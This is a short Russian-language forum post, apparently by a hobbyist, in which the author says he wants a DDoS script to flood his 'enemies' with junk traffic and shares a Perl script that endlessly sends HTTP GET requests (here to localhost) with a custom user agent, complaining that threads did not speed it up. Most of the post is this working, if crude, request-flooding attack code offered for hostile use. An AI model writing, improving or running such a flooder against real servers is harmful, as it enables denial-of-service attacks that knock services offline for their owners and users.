млина сел решил ddos скрипт написать -- закидывать левыми пакетами неприятелей -- дык чето кроме вот этого ниче в голову не пришло -- пробовал прикрутить потоки -- один хрен скорость такаяже

#!/usr/bin/perl
use LWP::UserAgent;

print "*******************DDos*************************\ nDDos start....[+]\n";



lol:
my $ua = LWP::UserAgent->new(
max_size => 10,
agent => 'kakep agent v 9.11',
timeout => 1,
);
$request = HTTP::Request->new("GET", 'http://127.0.0.1:80/');
$response = $ua->request($request);
goto(lol);